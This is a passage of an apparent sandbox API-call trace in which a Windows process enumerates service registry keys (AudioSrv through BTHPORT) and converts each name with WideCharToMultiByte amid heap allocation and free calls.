BaseAddress=0x21f1a90) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.863] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.863] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.863] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.864] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.864] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.864] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0234.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.865] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.865] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.865] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.865] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.866] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.866] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.866] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.866] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0234.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0234.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.868] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.868] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.868] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.868] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.869] 